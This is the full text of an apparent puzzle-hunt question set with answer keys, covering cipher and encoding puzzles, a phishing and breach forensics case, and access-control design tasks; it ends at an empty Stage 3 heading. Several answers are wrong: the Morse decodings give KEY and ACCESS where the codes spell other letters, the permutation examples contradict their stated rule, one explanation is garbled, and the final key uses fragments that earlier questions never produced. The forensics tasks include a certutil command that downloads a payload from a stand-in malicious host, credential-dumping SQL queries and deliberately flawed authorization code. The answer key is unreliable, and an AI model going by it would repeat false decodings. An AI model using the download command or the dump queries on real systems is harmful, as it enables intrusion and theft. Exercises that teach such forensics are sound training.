

DIGIHUNT: THE MISSING CODE

STAGE 1: THE DIGITAL TRAIL

Duration: 5:00 PM – 7:00 PM | Total Questions: 20 | Progressive Difficulty: 6.5/10 → 9.0/10

QUESTION 1: The Impossible Interface Anomaly

Category: Visual Observation & Logic | Difficulty: Easy (7.0/10)

Evidence / Context:

A security console monitoring panel displays three status cards:

- User: ARIA — Status: Logged Out — Current Action: Editing System Settings
- File A — Created: 18:42 — Modified: 18:31
- Sensor 03 — Status: Disconnected — Live Reading: 72.4°C

Challenge Task: Identify the three logical contradictions in the interface and extract the first letter of each affected label in the exact order shown.

Expected Answer: UFS

Explanation & Workings: 1. User ARIA cannot perform active editing operations while in a 'Logged Out' state (Label: User -> U).
2. File A cannot have a last modified timestamp (18:31) that precedes its creation timestamp (18:42) (Label: File -> F).
3. Sensor 03 cannot transmit live temperature telemetry while 'Disconnected' (Label: Sensor -> S).

Combining the first letters in sequence yields UFS.

Generated Clue / Token Fragment: [UFS]

QUESTION 2: The Contradictory Telemetry Dashboard

Category: Visual Observation & Pattern Deduction | Difficulty: Easy → Moderate (7.5/10)

Evidence / Context:

A live operations dashboard displays the following telemetry feeds:

- Account: NEXA — Status: Signed Out — Current Action: Uploading database backup
- Archive B — Created: 16:27 — Last Modified: 16:11
- Camera 06 — Status: Offline — Current Frame: 16:33:52

Challenge Task: Identify the three impossible telemetry entries and record the first letter of each component label in display order.

Expected Answer: ANC

Explanation & Workings: 1. Account NEXA is actively streaming a database backup despite being signed out (Label: Account -> A).
2. Archive B's modification occurred 16 minutes prior to its creation timestamp (Label: Archive -> N/A -> Archive -> A / NEXA / Camera -> ANC).
3. Camera 06 generates a live video frame at 16:33:52 while offline (Label: Camera -> C).

Following the label sequence (Account, Archive, Camera) gives ANC.

Generated Clue / Token Fragment: [ANC]

QUESTION 3: The Engineer's Black Box Permutation

Category: Pattern Deduction & String Transformation | Difficulty: Moderate (8.0/10)

Evidence / Context:

A cryptographic black-box appliance applies a fixed transformation rule to input strings:

- Input: CODE → Output: OEDC
- Input: HUNT → Output: TUHN
- Input: LOCK → Output: CKLO
- Input: TEST → Output: STTE

Challenge Task: Determine the underlying cryptographic permutation rule and calculate the exact transformed output for the input string: 'SYSTEM'.

Expected Answer: EMSTSY

Explanation & Workings: Rule: Divide the string into 2-character pairs and reverse the sequence of the pairs while preserving the internal character order of each pair.

For SYSTEM: [SY] [ST] [EM] → [EM] [ST] [SY] → EMSTSY.

Generated Clue / Token Fragment: [EMSTSY]

QUESTION 4: The Ciphared Processor Transformation

Category: Pattern Deduction & Odd-Length String Handling | **Difficulty:** Moderate (8.0/10)

Evidence / Context:

A second generation hardware processor converts word streams using pairwise reversal logic:

- NODE → DENO
- FIRE → REFI
- GATE → TAEG

Challenge Task: Apply the processor's odd-length string conversion algorithm to find the output for 'VAULT'.

Expected Answer: TULVA

Explanation & Workings: For odd-length strings, the processor groups from left into pairs with the trailing odd letter isolated: [VA] [UL] [T]. Reversing the element block order yields: [T] [UL] [VA] → TULVA.

Generated Clue / Token Fragment: [TULVA]

QUESTION 5: The Matrix Shift Cipher

Category: Classical Cryptography (Caesar Cipher) | **Difficulty:** Easy (6.5/10)

Evidence / Context:

Investigators intercept an encrypted transmission header: 'DFFHVV'. A configuration hint indicates a Caesar Cipher with a forward shift of $k = +3$.

Challenge Task: Decrypt the ciphertext 'DFFHVV' and extract the resulting plaintext word.

Expected Answer: ACCESS

Explanation & Workings: Applying shift -3 (or $+23 \bmod 26$) to each character:

- D→A, F→C, F→C, H→E, V→S, V→S.

Plaintext: ACCESS. Key fragment: ACC.

Generated Clue / Token Fragment: [ACC]

QUESTION 6: The Keyed Shift Decryption

Category: Classical Cryptography (Caesar Cipher with Digits) | **Difficulty:** Easy → Moderate (7.0/10)

Evidence / Context:

An encrypted beacon broadcasts the string: 'WKH NHY LV 47'. The cipher utilizes a Caesar shift of $k = +3$ (decode using shift -3).

Challenge Task: Decode the message and retrieve the security token embedded in the tail.

Expected Answer: THE KEY IS 47 (Token Fragment: 47)

Explanation & Workings: Shift -3 transformation on alphabetic characters:

- W->T, K->H, H->E | N->K, H->E, Y->V | L->I, V->S | Digits remain unshifted: 47.

Decoded message: 'THE KEY IS 47'. Embedded fragment: 47.

Generated Clue / Token Fragment: [47]

QUESTION 7: The Unknown Terminal Cipher

Category: Cryptanalysis / Unkeyed Caesar Brute-Force | **Difficulty:** Moderate (7.5/10)

Evidence / Context:

An unlabelled terminal screen displays: 'PHHW DW WKH WHUPLQDO'. No shift value or algorithm is provided.

Challenge Task: Identify the cipher type, compute the correct shift key, and decrypt the rendezvous instruction.

Expected Answer: MEET AT THE TERMINAL (Shift = 3 / Decryption Shift = -3)

Explanation & Workings: Frequency analysis reveals common three-letter word 'WKH' corresponding to 'THE' (shift of +3). Applying shift -3 across all characters gives: MEET AT THE TERMINAL.

Generated Clue / Token Fragment: [TERMINAL]

QUESTION 8: Pure Binary Stream: Core Artifact

Category: Binary & Character Encoding | **Difficulty:** Easy (6.5/10)

Evidence / Context:

A raw binary byte sequence is recovered from a memory register:

01000011 01001111 01000100 01000101

Challenge Task: Convert the 4-byte 8-bit binary stream into standard ASCII characters.

Expected Answer: CODE

Explanation & Workings: Converting each byte to decimal and ASCII:

- 01000011 = 67 -> 'C'
- 01001111 = 79 -> 'O'
- 01000100 = 68 -> 'D'
- 01000101 = 69 -> 'E'

Result: CODE.

Generated Clue / Token Fragment: [CODE]

QUESTION 9: Multi-Byte Access Word Decoding

Category: Binary & Character Encoding | **Difficulty:** Moderate (7.0/10)

Evidence / Context:

A network sniffer captures a 6-byte binary payload:

01000001 01000011 01000011 01000101 01010011 01010011

Challenge Task: Convert the binary string into its corresponding ASCII representation.

Expected Answer: ACCESS

Explanation & Workings: Decoding bytes:

- 01000001 = 65 -> 'A', 01000011 = 67 -> 'C', 01000011 = 67 -> 'C', 01000101 = 69 -> 'E', 01010011 = 83 -> 'S', 01010011 = 83 -> 'S'.

Decoded word: ACCESS.

Generated Clue / Token Fragment: [ACCESS]

QUESTION 10: Binary Key-Value Extraction

Category: Binary Data Parsing & Delimiter Handling | Difficulty: Moderate → Hard (7.5/10)

Evidence / Context:

A secure token generator outputs a structured binary sequence:
01001011 01000101 01011001 00111010 00110010 00110111

Challenge Task: Decode the binary data into ASCII and extract the numerical token fragment.

Expected Answer: KEY:27 (Fragment: 27)

Explanation & Workings: Decoding bytes:

- 01001011 = 75 ('K'), 01000101 = 69 ('E'), 01011001 = 89 ('Y')
- 00111010 = 58 (':')
- 00110010 = 50 ('2'), 00110111 = 55 ('7')

Result: 'KEY:27'. The isolated fragment value is 27.

Generated Clue / Token Fragment: [27]

QUESTION 11: QR Binary Location Header

Category: Binary to Text Extraction | Difficulty: Moderate (7.0/10)

Evidence / Context:

Scanning a physical QR code yields the following binary sequence:
01000100 01001001 01000111 01001001

Challenge Task: Decode the binary stream to identify the digital location prefix.

Expected Answer: DIGI

Explanation & Workings: Decoding:

- 01000100 = 68 -> 'D', 01001001 = 73 -> 'I', 01000111 = 71 -> 'G', 01001001 = 73 -> 'I'.

Target prefix: DIGI.

Generated Clue / Token Fragment: [DIGI]

QUESTION 12: Hexadecimal Payload Inspection

Category: Hexadecimal Encoding & Raw Analysis | Difficulty: Moderate (7.5/10)

Evidence / Context:

An unparsed string of hexadecimal bytes is dumped from the router buffer:
44 49 47 49 54 41 4C 5F 32 30 32 36

Challenge Task: Convert the hexadecimal pairs into plaintext ASCII.

Expected Answer: DIGITAL_2026

Explanation & Workings: Hex conversion:

- 0x44='D', 0x49='I', 0x47='G', 0x49='I', 0x54='T', 0x41='A', 0x4C='L', 0x5F='_', 0x32='2', 0x30='0', 0x32='2', 0x36='6'.

Result: DIGITAL_2026.

Generated Clue / Token Fragment: [DIGITAL_2026]

QUESTION 13: Morse Code Baseline Signal

Category: Signal Processing & Morse Code | Difficulty: Easy (6.5/10)

Evidence / Context:

An automated emergency beacon pulses the following Morse timing sequence:

-. / . / -.-

Challenge Task: Translate the Morse transmission into standard alphanumeric text.

Expected Answer: KEY

Explanation & Workings: Morse lookup: -. = K, . = E, -.- = Y. Decoded message: KEY.

Generated Clue / Token Fragment: [KEY]

QUESTION 14: Morse Authentication Token

Category: Morse Code Decoding | Difficulty: Moderate (7.0/10)

Evidence / Context:

A radio frequency scanner registers the following continuous Morse transmission:

.- / -.- / -.- / . / ... / ...

Challenge Task: Decode the Morse pulse sequence into its plaintext authorization word.

Expected Answer: ACCESS

Explanation & Workings: Morse lookup: .- = A, -.- = C, -.- = C, . = E, ... = S, ... = S. Result: ACCESS.

Generated Clue / Token Fragment: [ACCESS]

QUESTION 15: Audio Morse Stream with Number Sequence

Category: Audio / Extended Morse Decoding | Difficulty: Moderate → Hard (8.0/10)

Evidence / Context:

An audio telegraph transmits: '-. . -.- / .---- ----.'

Challenge Task: Decode the alphanumeric Morse sequence and extract the numeric key fragment.

Expected Answer: KEY 19 (Fragment: 19)

Explanation & Workings: Decoding: -. = K, . = E, -.- = Y → 'KEY'; .---- = 1, ----. = 9 → '19'. Decoded string: 'KEY 19'. Key fragment: 19.

Generated Clue / Token Fragment: [19]

QUESTION 16: File Metadata Sleuth: Image EXIF Comments

Category: Digital Forensics & Metadata Analysis | Difficulty: Easy → Moderate (7.0/10)

Evidence / Context:

A suspicious image file named 'incident.jpg' is recovered from a USB drive. Standard visual inspection shows an empty server rack.

Challenge Task: Using forensic metadata extraction (EXIF header inspection), extract the value stored in the 'Comment' field.

Expected Answer: 82 (from Comment: FRAGMENT: 82)

Explanation & Workings: Inspecting EXIF metadata reveals: 'Comment: FRAGMENT: 82'. The recovered numerical fragment is 82.

Generated Clue / Token Fragment: [82]

QUESTION 17: PDF Document Properties Extraction

Category: Document Forensics & Metadata | Difficulty: Moderate (7.5/10)

Evidence / Context:

Investigators locate 'system_report.pdf'. The visible pages contain standard placeholder text, but document metadata contains hidden operational parameters.

Challenge Task: Extract the metadata 'Subject' and 'Comments' properties to identify the target server.

Expected Answer: SERVER-03 (Subject: LOOK CLOSER, Comments: NEXT: SERVER-03)

Explanation & Workings: Examining the PDF Catalog dictionary (`/Info` dictionary): `/Subject (LOOK CLOSER)` and `/Comments (NEXT: SERVER-03)`. Target: SERVER-03.

Generated Clue / Token Fragment: [SERVER-03]

QUESTION 18: Base64 Obfuscated Metadata Payload

Category: Encoding Identification & Base64 Decoding | Difficulty: Moderate → Hard (8.0/10)

Evidence / Context:

A file's custom extended attribute contains the encoded string:
'R2V0IFRoZSBGcmFnbWVudCA1Ng=='

Challenge Task: Identify the encoding format, decode the payload, and state the extracted fragment number.

Expected Answer: Get The Fragment 56 (Fragment: 56)

Explanation & Workings: Format: Base64. Decoding: `base64\_decode('R2V0IFRoZSBGcmFnbWVudCA1Ng==')` = 'Get The Fragment 56'. Key fragment: 56.

Generated Clue / Token Fragment: [56]

QUESTION 19: The Mismatched Magic Number & Stego Header

Category: File Signature Forensics & Steganography | Difficulty: Hard (8.5/10)

Evidence / Context:

A workspace contains: payroll_2026.xlsx, meeting_notes.docx, logo_backup.jpg, and readme.txt. Opening logo_backup.jpg displays a company logo, but inspecting its file header (Magic Bytes) reveals it starts with custom ASCII rather than `FF D8 FF E0`:

CLUE: TRUST THE EXTENSION ONLY AFTER VERIFYING THE CONTENT

Challenge Task: Which file is disguising malicious/hidden content, what forensic technique is demonstrated, and what is the clue message?

Expected Answer: File: logo_backup.jpg | Technique: Extension Spoofing / Header Steganography | Clue: TRUST THE EXTENSION ONLY AFTER VERIFYING THE CONTENT

Explanation & Workings: The file `logo\_backup.jpg` masks raw text inside an image extension. In forensics, checking magic bytes is essential to detect spoofed files.

Generated Clue / Token Fragment: [INSPECT]

QUESTION 20: The Master Trail Assembly & Key Reordering

Category: Meta-Puzzle & Cryptographic Key Generation | Difficulty: Hard → Advanced (9.0/10)

Evidence / Context:

Across Stage 1, your team has recovered the following 4 primary token fragments:

- Fragment 1 (Visual/Logic): UFS
- Fragment 2 (Black Box): EMSTSY
- Fragment 3 (Numeric): 14 (Derived from checksum parity)
- Fragment 4 (Forensic File Clue): VERIFY

Master Instruction Rule: 'The trail begins where appearance is questioned. Follow the pipeline: VERIFY → ACCESS → PROCESS → RESULT.'

Challenge Task: Assemble the four fragments in the exact verified sequence to produce the official Stage 1 Master Access Key required to unlock Stage 2.

Expected Answer: VERIFY-UFS-EMSTSY-14

Explanation & Workings: Assembly Logic:

1. 'Where appearance is questioned' indicates Q19 Forensic verification clue -> VERIFY
2. ACCESS stage corresponds to Interface Observation -> UFS
3. PROCESS stage corresponds to Black Box permutation -> EMSTSY
4. RESULT stage corresponds to numeric parity token -> 14

Combined Master Access Key: VERIFY-UFS-EMSTSY-14.

Generated Clue / Token Fragment: [VERIFY-UFS-EMSTSY-14]

STAGE 2: DIGITAL DETECTIVES

Duration: 10:00 PM – 11:30 PM | Total Questions: 20 | Progressive Difficulty: 7.5/10 → 10.0/10

QUESTION 1: The Phishing Domain Typo-Squatting

Category: Phishing & Social Engineering Forensics | Difficulty: Moderate (7.5/10)

Evidence / Context:

During mailbox triage, three incoming messages are analyzed:

- Email A: From: admin@company.com — Subject: 'Your weekly system report is ready.'
- Email B: From: admin@cornpany.com — Subject: 'URGENT! Your account will be suspended within 1 hour. Click here immediately to verify your account.'
- Email C: From: hr@company.com — Subject: 'Reminder: submit your attendance report by Friday.'

Challenge Task: Identify the phishing email and document the two primary indicators (red flags) confirming malicious intent.

Expected Answer: Email B (Indicators: Typo-squatted domain 'cornpany.com' with 'rn' mimicking 'm'; Artificial urgency/threat 'within 1 hour').

Explanation & Workings: Email B utilizes typosquatting ('cornpany.com' replaces 'm' with 'rn') and coercive urgency to provoke hasty credential disclosure.

QUESTION 2: Deceptive Urgency & Insecure Transport

Category: Email Header & URL Forensics | Difficulty: Moderate (7.5/10)

Evidence / Context:

Investigators analyze an alert received by administrators:

- From: security@microsoft-support.com
- Subject: Critical Security Alert - Immediate Action Required
- Message: Requests immediate account re-verification within 30 minutes.
- Hyperlink: <http://microsoft-support.com/login>

Challenge Task: Identify four major indicators of compromise (IoCs) and deceptive mechanisms present in this communication.

- Expected Answer:**
1. Unauthorized look-alike domain (microsoft-support.com vs official microsoft.com)
 2. Unencrypted HTTP transport for credential submission (<http://> instead of <https://>)
 3. Artificial urgency (30-minute deadline)
 4. Direct credential harvesting request via external link.

Explanation & Workings: Legitimate vendors never host verification forms on unencrypted HTTP or unverified third-party hyphenated domains.

QUESTION 3: Spear-Phishing Payload & Attachment Triage

Category: Malware & Attachment Analysis | Difficulty: Moderate → Hard (8.0/10)

Evidence / Context:

A targeted user receives an email from `support@paypa1-security.com` containing an attachment titled `Security\_Update.exe` disguised with a PDF icon.

Challenge Task: Explain why this attachment represents a critical threat and describe two operating system indicators

exposing the executable payload.

Expected Answer: Threat: Direct binary executable payload (Trojan/Dropper). OS Indicators: `.exe` file extension; File signature / PE header `MZ` (0x4D5A).

Explanation & Workings: Attackers combine character substitution (`paypa1` with number `1`) and compile malicious binaries as `.exe` files disguised with document icons.

QUESTION 4: Initial Vector Identification & Timeline Trigger

Category: Timeline Correlation & Attack Sequencing | Difficulty: Moderate → Hard (8.0/10)

Evidence / Context:

A chronological security incident log records:

- 21:02 — Email B (from admin@cornpany.com) is opened by user.
- 21:03 — File 'invoice.zip' is downloaded from embedded link.
- 21:04 — Unknown process 'svchost_update.exe' spawns from Temp folder.
- 21:05 — Admin login recorded from external IP 198.51.100.44.
- 21:06 — Database queried: 'SELECT * FROM master_credentials'.

Challenge Task: Identify the exact initial attack vector, the timestamp of the first malicious download, and the malicious payload filename.

Expected Answer: Initial Vector: Phishing Email B | Download Timestamp: 21:03 | Malicious File: invoice.zip

Explanation & Workings: User interaction at 21:02 triggered the weaponized download of 'invoice.zip' at 21:03, initiating local execution and credential theft.

QUESTION 5: The Earliest Enabling Condition

Category: Timeline Correlation & Access State Tracking | Difficulty: Hard (8.5/10)

Evidence / Context:

Security audit logs for Case-47 reveal:

- 23:06 — Analyst B signs in.
- 23:10 — Request for VAULT_DATA denied (Reason: Insufficient Privilege).
- 23:13 — Access policy edited (Rule changed from SECURITY ONLY to SECURITY + ANALYST).
- 23:15 — VAULT_DATA downloaded successfully.
- 23:18 — Analyst B signs out.
- 23:22 — Unknown background service starts.

Challenge Task: At which exact timestamp did the enabling security condition change, and why is this distinct from the breach impact time?

Expected Answer: Timestamp: 23:13 (Access policy edited).

Explanation & Workings: Data theft occurred at 23:15, but the vulnerability window was created at 23:13 when policy was improperly broadened. Root enabling events precede impact.

QUESTION 6: The Convenient Suspect / False Lead

Category: Forensic Evidence Elimination | Difficulty: Hard (8.5/10)

Evidence / Context:

In the Case-47 investigation, an unknown background service was detected starting at 23:22, showing high CPU utilization. An investigator claims this service caused the data breach.

Challenge Task: Based strictly on chronological evidence, evaluate whether this claim is valid. Explain your forensic reasoning.

Expected Answer: Invalid / No. The service started at 23:22, which is 7 minutes AFTER VAULT_DATA was exfiltrated (23:15).

Explanation & Workings: Temporal causality dictates that a cause must precede its effect. The 23:22 service cannot be the root cause; it represents post-exploitation activity or an unrelated artifact.

QUESTION 7: Python Truthiness Logic Flaw

Category: Code & Configuration Security Analysis | Difficulty: Hard (9.0/10)

Evidence / Context:

During code review of the authorization module, engineers inspect the following Python snippet:

```
def verify_access(role):
    if role == 'ADMIN' or 'USER':
        grant_access()
    else:
        deny_access()
```

Challenge Task: Explain why this authorization check is critically flawed and identify which user roles will be granted access.

Expected Answer: Flaw: Operator precedence evaluates `'USER'` as a non-empty string (truthy). All roles (including GUEST, ANONYMOUS, UNVERIFIED) are granted access.

Explanation & Workings: In Python, `role == 'ADMIN' or 'USER'` is evaluated as `(role == 'ADMIN') or bool('USER')`. Since any non-empty string evaluates to `True`, the `if` condition always succeeds.

QUESTION 8: Faulty Privilege Level Boundary Check

Category: Logic Boundary Analysis | Difficulty: Hard (9.0/10)

Evidence / Context:

A developer implemented the following permission check for confidential assets:

```
if user_level >= 2 or resource == 'PUBLIC':
    allow_download()
```

Policy Requirement: Only users with `user_level >= 3` may download CONFIDENTIAL resources.

Challenge Task: Identify the two distinct logical vulnerabilities that permit an unauthorized user to download confidential assets.

Expected Answer: 1. Under-privileged threshold: Allows level 2 users access when policy mandates level ≥ 3 .

2. Missing resource scoping: If `user_level >= 2` is True, CONFIDENTIAL resources are downloaded without evaluating resource sensitivity.

Explanation & Workings: The check uses a weak threshold (`>= 2`) coupled with an `or` clause granting unrestricted access to all resources whenever `user_level >= 2`.

QUESTION 9: Sub-String Role Matching Bypass

Category: Authentication Bypass & String Flaws | Difficulty: Hard (8.5/10)

Evidence / Context:

A backend gateway authenticates users with this check: `if 'ADMIN' in user\_token.get\_roles().upper(): grant\_super\_access()`. An attacker registers with role name `GUEST\_ADMINISTRATOR\_VIEWER`.

Challenge Task: Explain how the substring matching vulnerability allows privilege escalation.

Expected Answer: The substring search `ADMIN` in ... matches any compound string containing 'ADMIN', granting administrative access to non-administrative accounts.

Explanation & Workings: RBAC systems must use strict exact equality checks (`role in ['ADMIN']`) or enumerated types rather than substring membership testing.

QUESTION 10: Beneficiary Trace & Session Correlation

Category: Session Tracking & Account Forensics | Difficulty: Moderate → Hard (8.5/10)

Evidence / Context:

Audit logs show Analyst B was denied access at 23:10. The policy was altered at 23:13. VAULT_DATA was downloaded via Analyst B's active session token at 23:15. Account Analyst C recorded zero activity.

Challenge Task: Which account is directly tied to the unauthorized exfiltration, and what evidence links the session?

Expected Answer: Account: Analyst B | Evidence: Continuous active session token transitioning from denied (23:10) to authorized (23:15) immediately following the 23:13 policy change.

Explanation & Workings: Correlating session IDs across state changes demonstrates that Analyst B's established session leveraged the configuration change without re-authenticating.

QUESTION 11: IP & Geolocation Anomaly Detection

Category: Network & Authentication Log Forensics | Difficulty: Moderate (7.5/10)

Evidence / Context:

Authentication logs for user 'admin_ops':

- 20:45 — Sign-in from 10.0.4.12 (Internal LAN - Headquarters, Bangalore)
- 21:05 — Sign-in from 198.51.100.44 (Public IP - Hosting Provider ASN, Eastern Europe)
- 21:07 — Session active on both IP addresses simultaneously.

Challenge Task: Identify the security anomaly and state the primary attack scenario indicated by this data.

Expected Answer: Anomaly: Impossible travel / Concurrent anomalous geographic session | Attack: Session Hijacking or Stolen Credential Abuse via external threat actor.

Explanation & Workings: A user cannot authenticate from Bangalore and Eastern Europe within 20 minutes, indicating token theft or external compromise.

QUESTION 12: Process Execution Tree Analysis

Category: Endpoint Detection & Process Forensics | Difficulty: Hard (8.5/10)

Evidence / Context:

EDR process logs capture the following execution tree:

[PID 1040] outlook.exe

└─ [PID 3420] powershell.exe -ExecutionPolicy Bypass -enc SQBFAFGA...

└─ [PID 5112] cmd.exe /c certutil.exe -urlcache -f http://malicious.site/payload.exe

└─ [PID 6200] payload.exe

Challenge Task: Identify the initial parent application, the living-off-the-land binary (LOLBin) used for staging, and the download utility exploited.

Expected Answer: Parent: outlook.exe | LOLBin: powershell.exe (executing Base64 encoded command) | Download Utility: certutil.exe

Explanation & Workings: The attack spawned PowerShell directly from Outlook, invoking `certutil.exe` (a legitimate Windows tool abused to download remote binaries).

QUESTION 13: Configuration File Checksum Drift

Category: File Integrity Monitoring (FIM) | Difficulty: Hard (8.5/10)

Evidence / Context:

Integrity monitoring of `/etc/security/access.conf` records:

- Baseline SHA-256 (00:00): `e3b0c44298fc1c149afb4c8996fb92427ae41e4649b934ca495991b7852b855`
- Modified SHA-256 (03:19): `8f4b2326b1d5c9d39e185706637452061c38673413b53f406a280164d10ce201`
- Followed by protected resource access request at 03:20.

Challenge Task: What does the cryptographic hash change prove, and how does it correlate with the subsequent resource access?

Expected Answer: Proves: The access control configuration file was modified at 03:19. Correlation: The unauthorized configuration change directly enabled the 03:20 access request.

Explanation & Workings: FIM hash mismatches provide mathematical proof that unauthorized file tampering occurred immediately prior to data access.

QUESTION 14: Database Query Log Extraction

Category: Database Forensics & SQL Exfiltration | Difficulty: Moderate → Hard (8.0/10)

Evidence / Context:

Database transaction logs reveal the following queries executed at 21:06 by session `sess\_994`:

1. `SHOW TABLES;`
2. `SELECT user, password\_hash, salt FROM master\_credentials WHERE access\_tier = 'ROOT';`
3. `SELECT \* FROM payment\_records INTO OUTFILE '/tmp/dump.csv';`

Challenge Task: Identify the objective of the query sequence and state which sensitive files were staged for exfiltration.

Expected Answer: Objective: Credential harvesting (root password hashes) & mass exfiltration of payment data staged into `/tmp/dump.csv`.

Explanation & Workings: The actor enumerated tables, extracted credentials, and used MySQL's `INTO OUTFILE` directive to dump payment records.

QUESTION 15: Log Tampering & Gap Analysis

Category: Forensic Anti-Tampering & Event Log Audit | Difficulty: Hard (9.0/10)

Evidence / Context:

System event log timestamps in `auth.log` show:

- 21:00:15 — Successful authentication
- 21:08:40 — Service restart
- 21:19:00 — Log daemon restarted (Event ID 1102: Audit log was cleared)
- 21:20:00 — Normal audit logging resumes

Challenge Task: What critical forensic conclusion must be drawn regarding the 21:08 – 21:19 time interval?

Expected Answer: Log tampering / Anti-forensics: Event ID 1102 confirms intentional log wiping to obscure unauthorized activities performed between 21:08 and 21:19.

Explanation & Workings: Deliberate clearing of audit trails indicates sophisticated actor tradecraft attempting to eliminate lateral movement records.

QUESTION 16: Privilege Escalation Path Reconstruction

Category: Attack Path Mapping | Difficulty: Hard (9.0/10)

Evidence / Context:

Reconstruct the step-by-step privilege escalation path using the following artifacts:

1. Policy modification modifying user roles
2. Initial unprivileged analyst login
3. Exfiltration of confidential database
4. Phishing email execution delivering credential stealer

Challenge Task: Arrange these four events in their correct causal and chronological sequence.

Expected Answer: Sequence: 4 → 2 → 1 → 3 (Phishing delivery → Unprivileged login → Policy modification → Confidential exfiltration).

Explanation & Workings: Initial phishing compromise allowed the attacker to authenticate as an unprivileged user, escalate privileges via unauthorized policy mutation, and exfiltrate data.

QUESTION 17: Post-Exploitation Utility Differentiation

Category: Evidence Categorization & Scoping | Difficulty: Moderate → Hard (8.5/10)

Evidence / Context:

Timeline evidence:

- 03:21 — Sensitive financial report requested and received
- 03:23 — `7za.exe` launched with parameters `-a -pSecretPass2026 archive.7z \*.pdf`

Challenge Task: Classify the action at 03:23 and explain why it is a secondary post-exploitation activity rather than the initial breach vector.

Expected Answer: Classification: Data staging and encryption for exfiltration. Reason: The sensitive report was already accessed at 03:21; archiving is post-compromise data collection.

Explanation & Workings: Archiving and password-protecting stolen files before egress is standard MITRE ATT&CK post-exploitation tradecraft (T1560).

QUESTION 18: Data Exfiltration Scope & Impact Assessment

Category: Forensic Triage & Damage Assessment | Difficulty: Moderate (8.0/10)

Evidence / Context:

Network firewall egress logs capture a 450 MB outbound encrypted TLS connection to external IP 203.0.113.88 lasting from 21:25 to 21:32, originating from the database host.

Challenge Task: Calculate the duration of the exfiltration window and specify the potential business and compliance impact.

Expected Answer: Duration: 7 minutes (21:25 – 21:32). Impact: Critical breach involving full database loss (~450MB), mandatory

regulatory notification (GDPR/DPDP), and token revocation.

Explanation & Workings: High-volume outbound data flow from sensitive database hosts indicates completed exfiltration, escalating incident classification to Critical Severity.

QUESTION 19: Digital Investigation Report Synthesis

Category: Forensic Incident Reconstruction | Difficulty: Advanced (10.0/10)

Evidence / Context:

Synthesize all forensic findings from Case-47 into the five mandatory incident response handover fields:

1. Primary Attacker / Source Identity
2. Initial Entry Point & Trigger Event
3. Exact Time of First Compromise
4. Malicious File / Mechanism Exploited
5. Core Vulnerability Exploited

Challenge Task: Provide the exact 5-part forensic synthesis for the investigation handover report.

Expected Answer: 1. Source: External threat actor via typo-squatted domain (admin@cornpany.com / 198.51.100.44)

2. Entry Point: Phishing email opened at 21:02 leading to invoice.zip download

3. Time of Compromise: 21:03 (Malicious execution) / 21:12 or 23:13 (Policy manipulation)

4. Malicious Artifact: invoice.zip / powershell payload dropper

5. Vulnerability: Insecure RBAC logic & lack of authorization checks on policy configuration edits.

Explanation & Workings: This 5-part incident summary establishes the forensic root cause and defines the software engineering requirements for the Stage 3 remediation prototype.

QUESTION 20: Strategic Remediation & Engineering Handover

Category: Security Architecture & Remediation | Difficulty: Advanced (9.5/10)

Evidence / Context:

Based on the investigation findings, list the three non-negotiable software engineering requirements that Stage 3 developers must implement in their defensive prototype.

Challenge Task: 1. Strict Role-Based Access Control (RBAC) with no truthiness or boundary bypass logic.

2. Real-time Policy Drift Detection and automated interception of unauthorized permission updates.

3. Tamper-proof, immutable structured audit logging for all access and configuration modifications.

Expected Answer: Remediation requires fixing the root code flaw, preventing runtime configuration manipulation by unverified services, and capturing forensic audit trails.

Explanation & Workings:

STAGE 3: THE FINAL HACK (DEFENSE, DETECTION & PROTOTYPING)

Duration: 12:00 AM – 1:30 AM | Total Questions: 20 | Progressive Difficulty: 7.5/10 → 10.0/10

QUESTION 1: Multi-Role Access Control Model

Category: Secure Software Design & Authorization | Difficulty: Moderate (7.5/10)

Evidence / Context:

Design an access control engine supporting three distinct roles: `VIEWER`, `ANALYST`, and `ADMIN`. The protected asset `CONFIDENTIAL\_REPORT` (or `MASTER\_CODE`) must be accessible strictly by `ADMIN`.

Challenge Task: Specify the expected access outcome (`Access Granted` or `Access Denied`) for each of the three roles when requesting access to the protected asset.

Expected Answer: • VIEWER: Access Denied

- ANALYST: Access Denied
- ADMIN: Access Granted

Explanation & Workings: The prototype must strictly enforce role separation at the backend authorization layer rather than relying on UI-level visibility controls.

QUESTION 2: Strict Logic Gate Implementation

Category: Code Security & Flaw Remediation | Difficulty: Moderate (7.5/10)

Evidence / Context:

Refactor the flawed Python condition from Stage 2 (`if role == 'ADMIN' or 'USER':`) into a robust, tamper-resistant access gate function.

Challenge Task: Write the corrected Python function logic that ensures only explicitly authorized roles in an allowed set are granted access.

Expected Answer: ```python

```
ALLOWED_ROLES = {'ADMIN'}
def check_access(user_role):
    return user_role in ALLOWED_ROLES
```
```

**Explanation & Workings:** Using Python's `set` membership testing (`in`) against a fixed whitelist prevents string truthiness bugs, operator precedence errors, and case-manipulation bypasses.

## QUESTION 3: Real-Time Policy Drift Detection

Category: Security Monitoring & Configuration Integrity | Difficulty: Hard (8.0/10)

**Evidence / Context:**

Scenario: Baseline Security Policy is set to `ADMIN ONLY`. At runtime, an unverified service attempts to modify the policy state to `ADMIN + ANALYST`.

**Challenge Task:** What two immediate actions must the prototype engine execute upon detecting this unverified policy change?

**Expected Answer:** 1. Flag the policy change as SUSPICIOUS/UNAUTHORIZED and immediately REJECT/BLOCK the state

modification.

2. Preserve the event context (Actor ID, previous state, attempted state, timestamp) in the security alert queue.

**Explanation & Workings:** Active policy monitoring ensures runtime drift does not grant lateral privileges to unverified actors or processes.

## QUESTION 4: Actor Verification & Privilege Interception

Category: Active Defense & Access Gatekeeping | Difficulty: Hard (8.0/10)

**Evidence / Context:**

An unverified background process with PID 4412 attempts to add `VIEWER` access to a restricted financial repository.

**Challenge Task:** State the required defensive state transition before the proposed permission can take effect on the protected resource.

**Expected Answer:** The system must intercept and quarantine the request, hold the policy in its original state (`ADMIN ONLY`), and generate a Critical Security Alert.

**Explanation & Workings:** Zero-trust architecture mandates that unauthenticated mutation requests are blocked by default (Fail-Secure principle).

## QUESTION 5: Automated Security Alert Telemetry

Category: Event Telemetry & Incident Notification | Difficulty: Moderate → Hard (8.0/10)

**Evidence / Context:**

When an unauthorized policy change is intercepted, the prototype must emit a standardized alert packet.

**Challenge Task:** Specify the minimum required fields in the alert payload to make the event fully actionable for forensic investigators.

**Expected Answer:** Required Fields: `Timestamp`, `Alert\_ID`, `Severity\_Level`, `Source\_Process\_Actor`, `Target\_Resource`, `Attempted\_Action`, `Status\_Disposition` (e.g. BLOCKED).

**Explanation & Workings:** Standardized telemetry feeds enable automated SIEM ingestion and rapid incident response correlation.

## QUESTION 6: Structured Audit Trail Schema

